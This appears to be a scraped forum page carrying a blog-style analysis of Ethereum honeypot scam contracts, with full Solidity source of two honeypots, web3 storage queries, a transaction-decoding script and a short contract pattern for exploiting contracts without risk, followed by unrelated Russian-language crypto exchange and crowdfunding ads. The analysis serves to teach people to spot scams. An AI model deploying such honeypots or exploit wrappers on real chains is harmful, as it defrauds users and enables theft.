language gap of knowledge in the user. However, in this section of this blog post, the deployer exploits some features related to etherscan platform to hide some important information that may trick users. Hidden State Update The Etherscan platform helps developers and any Ethereum Blockchain user to debug his smart contract or track his transactions. Therefore, the platform display user’s transaction and internal messages that are performed by smart contracts. However, one of the features of Etherscan is that it does not show internal messages with an empty value. Therefore, smart contract honeypot deployer exploit this feature to trick users and change the smart contract behavior. Here is an example to better understand this concept: Check the following smart contract: https://etherscan.io/address/0x8bbf2d91e3c601df2c71c4ee98e87351922f8aa7#code This contract might be used as a honeypot, as the user could be fooled by the initial value of the variable passHasBeenSet. By checking the Etherscan data he would not be able to see any transaction that has changed the value of passHasBeenSet. Therefore, he would assume that the value didn’t change and attempt to exploit the contract. To do that, the user would try to exploit the contract by sending more than one ether to the contract using the GetGift() after setting the hashPass using SetPass() function. However, the passHasBeenSet variable might be already changed by another contract and that would not be seen in the etherscan platform. Straw Man Contract This technique is built upon showing a source code for a contract that is not actually the one used by the contract. For example, the deployer could build a contract that requires another library and that that library address is initialized during the deployment of the contract or by calling a specific function. At this stage, there is nothing that holds the deployer from using another contract address that is totally different than the one that the source code is displayed in Etherscan. Unfortunately, this really a tricky honeypot and a really difficult technique to discover from a user. I mean the user should verify the addresses of the deployed contract and the different transactions and data passed to the contract to be able to find this issue. Moreover, even if the user tries to test this smart contract in a different contract, he will use the smart contract code displayed by the attacker and he will see a normal behavior. Which makes it even more difficult to find the issue. Here is an example of such a honeypot, try to take a look at it and see what makes this smart contract a honeypot: https://etherscan.io/address/0xdc5c87ba250b65a83042333f1101940b74312a65#code Etherscan is an Ethereum blockchain explorer that, besides other features, allows developers to submit the code of the smart contracts they deploy. The main benefit of this feature is that it allows users to check what contracts do by reading their source code. Etherscan makes sure that the code matches the smart contract as deployed. The list of verified contracts is long. As of this writing, Etherscan offers the source code for 26055 contracts, which can be browsed here. On a lazy Sunday afternoon I decided to casually browse it to see what kind of contracts people were running and get a sense of what people use the blockchain for, and how well written and secure these contracts are. Most contracts I found implemented tokens, crowdsales, multi-signature wallets, ponzis, and.. honeypots! Honeypot contracts are the most interesting findings to me. Such contracts hold ether, and pretend to do so insecurely. In short, they are scam contracts that try to fool you into thinking you can steal the ether they hold, while in fact all you can do is lose ether. A common pattern they follow is, in order to retrieve the ether they hold, you must send them some ether of your own first. Of course, if you try that, you’re in for a nasty surprise: the smart contract eats up your ether, and you find out that the smart contract does not do what you thought it did. In this post I will analyze a couple honeypot contracts I came across, and explain what they seem to do, but really do. The not-really-insecure non-lottery The first contract I will go through implements a lottery that, apparently, is horribly insecure and easy to steal from with a guaranteed win. I have come across several of these. The last instance I found is deployed at address 0x8685631276cfcf17a973d92f6dc11645e5158c0c, and its source code can be read here. I am copying the code below for convenience. Can you spot the bait? Can you tell why, if you try to exploit it, you will actually lose ether? pragma solidity ^0.4.23;// CryptoRoulette // // Guess the number secretly stored in the blockchain and win the whole contract balance! // A new number is randomly chosen after each try. // // To play, call the play() method with the guessed number (1-16). Bet price: 0.2 ethercontract CryptoRoulette { uint256 private secretNumber; uint256 public lastPlayed; uint256 public betPrice = 0.001 ether; address public ownerAddr; struct Game { address player; uint256 number; } Game[] public gamesPlayed; constructor() public { ownerAddr = msg.sender; shuffle(); } function shuffle() internal { // randomly set secretNumber with a value between 1 and 10 secretNumber = 6; } function play(uint256 number) payable public { require(msg.value >= betPrice && number <= 10); Game game; game.player = msg.sender; game.number = number; gamesPlayed.push(game); if (number == secretNumber) { // win! msg.sender.transfer(this.balance); } //shuffle(); lastPlayed = now; } function kill() public { if (msg.sender == ownerAddr && now > lastPlayed + 6 hours) { suicide(msg.sender); } } function() public payable { } } It’s easy to tell that the shuffle() method sets secretNumber to 6. Hence, if you call play(6)and send it 0.001 ether, you will always win your ether plus whatever the balance of the contract is, namely 0.015 ether. Easy money, right? Wrong. What’s the trick? Look closely at how play() is implemented. It declares a variable Game game, but does not initialize it. It will therefore default to a pointer to slot zero of the contract’s storage space. Then, it stores your address in its first member, storage slot 0, and the submitted number in the second one, that maps to storage slot 1. So, in practice, this will end up overwriting the contract’s secretNumber with the attacker account’s address, and lastPlayed with the number submitted. Then, it will compare secretNumber, which is now your account’s address, with the number you submitted. Since you can only submit numbers smaller than 10, you can only win if your account’s address is within the range 0x0 to 0x0a. (Don’t bother trying to bruteforce-search for one account in that small range! Simply unfeasible.) So, the comparison will fail, and the contract will keep your ether. Of course, the attacker can at any time call kill() to retrieve the ether. The not-really-insecure non-riddle This is another fun one. It had me scratching my head for a while. However, there is a huge giveaway that the contract is up to something nasty right away. But let’s not get ahead of ourselves. Here is its code. Can you spot the supposed vulnerability? And, can you tell why an exploit won’t work? And what is the giveaway I was talking about? contract G_GAME { function Play(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function StartGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} } The code supposedly implements a riddle. It sets up a question, and, if you can tell what the answer is, it will presumably send you its balance, currently a little more than 1 ether. Of course, to produce an answer, you must send an ether first, which you will get back if you are correct. The code seems fine, but there is a dirty trick: notice how NewQuestion allows questionSender to submit a hash that does not match _question. So, as long as this function isn’t used, we should be alright. Can we tell what the question and answer are? If you read the transaction history of the contract on etherscan, it appears that the 2nd transaction sets up the question. It’s even more obvious if you click the “Convert to UT8” button on etherscan. This reveals the question “I am very easy to get into,but it is hard to get out of me. What am I?”, and the answer “TroublE”. Since this transaction is called, according to etherscan, after the creation of the contract, responseHash is going to be zero, and will become keccak265("TroublE"). Then, there is a third transaction that loads up one ether in the contract. So, apparently, we could call Play("TroublE") and send one ether to get two ether back. Too good to be true? Probably. Let’s make sure. We can make sure we will the contract’s ether by inspecting the state of the smart contract. Its variables are not public, but still all it takes is just a few extra strokes to retrieve their values by querying the blockchain. questionSender and responseHash are the 2nd and 3rd variables, so they will occupy slots 1 and 2 on the storage space of the smart contract. Let’s retrieve their values. web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 1, console.log); The result is `0x0..0765951ab946f3a6f0379680a6b05fb807d52ba09`. That spells trouble (pun intended) for an attacker, since the transaction setting up the question came from an account starting with0x21d2. Something’s up. web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 2, console.log); The result is `0xc3fa7df9bf24…`. Is this the hash of “TroublE”? web3.sha3('TroublE'); That call returns 0x92a930d5..., so it turns out that, if we were to call Play("TroublE") and send 1 ether, we’d actually lose it. But how is it possible that the hashes do not match? Notice how StartGame does nothing if responseHash is already set. Clearly, that second transaction did not alter the state of the contract, so it must have already been set before this transaction. But how is it possible that responseHash was already initialized, if that was the first transaction after the creation of the contract? After some serious head scratching, I found a recent interesting post on honeypot contracts that explains that Etherscan does not show transactions between contracts when msg.value is zero. Other blockchain explorers such as Etherchain do show them. Surely enough, etherchain reveals a couple additional transactions in the contract’s history, where a contract at 0x765951.. modifies responseHash via a zero-value transactions. So let’s check these transactions; perhaps the ether can still be stolen? To track what happened, we need to decode these calls. We can get the contract’s ABI from Etherscan, and the internal transaction data from the “parity traces” of Etherchain (first, second). That’s all we need to decode the transactions into human readable format. const abiDecoder = require('abi-decoder'); const Web3 = require('web3'); const web3 = new Web3();const abi = [{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_response”,”type”:”string”}],”name”:”StartGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_responseHash”,”type”:”bytes32"}],”name”:”NewQuestion”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:true,”inputs”:[],”name”:”question”,”outputs”:[{“name”:””,”type”:”string”}],”payable”:false,”stateMutability”:”view”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_response”,”type”:”string”}],”name”:”Play”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[],”name”:”StopGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“payable”:true,”stateMutability”:”payable”,”type”:”fallback”}];const data1 = '0x1f1c827f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000754726f75626c4500000000000000000000000000000000000000000000000000';const data2 = '0x3e3ee8590000000000000000000000000000000000000000000000000000000000000040c3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f906700000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000';abiDecoder.addABI(abi); console.log(abiDecoder.decodeMethod(data1)); console.log(abiDecoder.decodeMethod(data2)); Running this code, we get the following result: { name: ‘StartGame’, params: [ { name: ‘_question’, value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’, type: ‘string’ }, { name: ‘_response’, value: ‘TroublE’, type: ‘string’ } ] } { name: ‘NewQuestion’, params: [ { name: ‘_question’, value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’, type: ‘string’ }, { name: ‘_responseHash’, value: ‘0xc3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f9067’, type: ‘bytes32’ } ] } We learn that the first transaction sets the answer to keccak256("TroublE"), but the second one sets the answer to a hash value for which we don’t know the original data! Again it’s quite easy to miss that the second call does not use _question to compute the hash; instead, it’s set to an arbitrary value that does not match the string provided in the previous call, although the question does match. So, unless we can find out a value that produces the given hash, possibly via a dictionary attack or a bruteforce search, we’re out of luck. And, given how sophisticated this honeypot is, I would assume trying to bruteforce the hash is not going to work out very well for us. Unraveling this honeypot took quite some effort. Its creator is ultimately counting on attackers trusting the etherscan data, which does not contain the full picture. The giveaway I said this contract contains a dead giveaway that its creator is playing tricks. This is in this line: require(msg.sender == tx.origin); What this line achieves is, it prevents contracts from calling Play. This is because tx.origin is always an “external account”, and never a smart contract. Why is this useful for the attacker? A way to safely attack a contract is to call them from an “attack contract” that reverts execution if it didn’t gain ether from attack: function attack() { uint intialBalance = this.balance; attack_contract(); require (this.balance > initialBalance); } This way, unless the attacker’s contract’s balance increases, the transaction fails altogether. The creator of the honeypot wants to prevent an attacker from using this trick to protect themselves. Literature: ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGER BERLIN VERSION beacfbd – 2022-10-24 DR. GAVIN WOOD FOUNDER, ETHEREUM & PARITY From Smart to Secure Contracts: Automated Security Assessment and Improvement of Ethereum Smart Contracts Christof Ferreira Torres The Art of The Scam: Demystifying Honeypots in Ethereum Smart Contracts Christof Ferreira Torres, Mathis Steichen, and Radu State, University of Luxembourg A survey of attacks on Ethereum smart contracts Nicola Atzei, Massimo Bartoletti, and Tiziana Cimoli Conclusion Honeypots are a moral grey area for me. Is it OK to scam those who are looking to steal from contracts? I don’t think so. But I do not feel very strongly about this. In the end, if you got scammed, it is because you were searching for smart contracts to steal from to begin with. These scams play on the greed of people who are smart enough to figure out an apparent vulnerability in a contract, yet not knowledgeable enough to figure out what the underlying trap is. If you want to get deeper into Smart Contract security, check this amazing wargame called Capture the Ether. It’s a fun way to hone your skills and train your eye for suspicious Solidity code. GitHub Telegram: https://t.me/cryptodeeptech Video: https://youtu.be/UrkOGyuuepE Source: https://cryptodeep.ru/solidity-vulnerable-honeypots Криптоанализ Навигация по записям-
- Закрытыйключ
- Криптография
- (and 8 more)
-
Сайт Bitbanker | Чат Bitbanker в Telegram | Блог Bitbanker на VC.ru Преимущества P2P-обмена Bitbanker: Отсутствуют курсовые риски. Обменивайте рубли с банковской карты на рубли баланса Bitbanker; Bitbanker не берет комиссию за сделки, весь доход вы забираете себе; В отличие от других бирж для P2P-обмена в Bitbanker не требуется залог; Бесплатное пополнение и вывод наличных в офисе Москвы и Бишкека. Зарабатывайте на Bitbanker.org не только через P2P: Вклады в рублях и USDT под 8% годовых; Валюты: USDT, BTC, ETH, USDC, TRX, рубли, доллары, дирхамы ОАЭ, киргизские сомы; Операции с криптой без KYC на любые суммы; Минимальные комиссии; Бесплатные переводы внутри сервиса; Удобный криптоэквайринг для фрилансеров и онлайн-бизнеса. Bitbanker.org — сервис, который объединяет преимущества криптобирж и традиционных банков. Зарегистрироваться бесплатно
- 2 replies
-
- Криптовалютa
- p2p
-
(and 1 more)
Tagged with:
-
Сервис обмена цифровых валют – 4esnok.cc 🧄 Быстрый и надежный обмен валют; 🧄 Широкий выбор направлений; 🧄 Простой и понятный интерфейс. Приглашаем Вас посетить наш сайт 👈 и оформить заявку!
-
- Обмен
- Криптовалютa
- (and 4 more)
-
У вас когда-нибудь была идея или мечта, которую вы хотели превратить в реальность, но не имели финансовых ресурсов, чтобы это осуществить? 💰 Вы можете создать свой сбор средств на любую вашу цель и мечту 📢 Здесь может найти финансирование любой ваш проект. Краудфандинговая платформа EdenX 💡 У вас есть инновационная идея которую хотите воплотить в жизнь? 💸 Может ищете финансирование на свой крипто проект? 💰 Либо же вам нужны средства на бизнес или стартап? 💵 А так же на любые личные цели:лечение, учеба, благотворительность, переезд и просто вашу мечту. Отправьте свою заявку на сбор средств в криптовлаюте и найдите своего инвестора. Сайт EdenX: https://edenxfunding.com Никаких ограничений по странам, для нас открыт весь мир 🌍 Достаточно просто криптовалютного кошелька и вашей идеи 💡 Чем подробнее вы распишите цель вашего сбора, тем больше вероятность на успех. Платформа запустилась недавно, но уже начинает набирать активное комьюнити. В будущем будет своя коллекция NFT и токен платформы, листинг токена будет проводиться с блокировкой ликвидности на 10 лет, то есть никто не сможет достать ликвидность из токена, проводится будет через платформу DxSale либо PinkSale. Токены команды тоже будут заблокированы с линейным вестингом. Но мы с Токеном не спешим надо доделать продукт. Вы можете присоединиться в Телеграм канал проекта и задать любые интересующие вас вопросы, даже если вы совсем не разбираетесь в криптовалюте вам помогут. Телеграм канал Телеграм чат Но краудфандинг это не только сбор денег на вашу цель или проект. 👨🦱 Это еще и создание сообщества вокруг вашей идеи. Когда вы запускаете кампанию краудфандинга, вы не просто ищете финансирование - вы приглашаете других стать частью вашего пути. 📣 Вы делитесь своей идеей и видением с миром, и просите других присоединиться к вам в этом захватывающем приключении. Краудфандинговая платформа не только поможет вам собрать необходимые средства, но также предоставит вам инструменты и ресурсы, необходимые для создания сильного и активного сообщества. Она поможет вам связаться с единомышленниками, которые разделяют ваше видение, и даст вам поддержку, необходимую для того, чтобы воплотить свою идею в жизнь. Так что, если у вас есть мечта или идея, которую вы хотите превратить в реальность, не позволяйте недостатку финансовых средств остановить вас. Обратитесь к краудфандингу и посмотрите, как ваша идея становится реальностью! #криптовалюта #краудфандинг
- 5 replies
-
- краудфандинг платформа
- краудфандинг
-
(and 3 more)
Tagged with: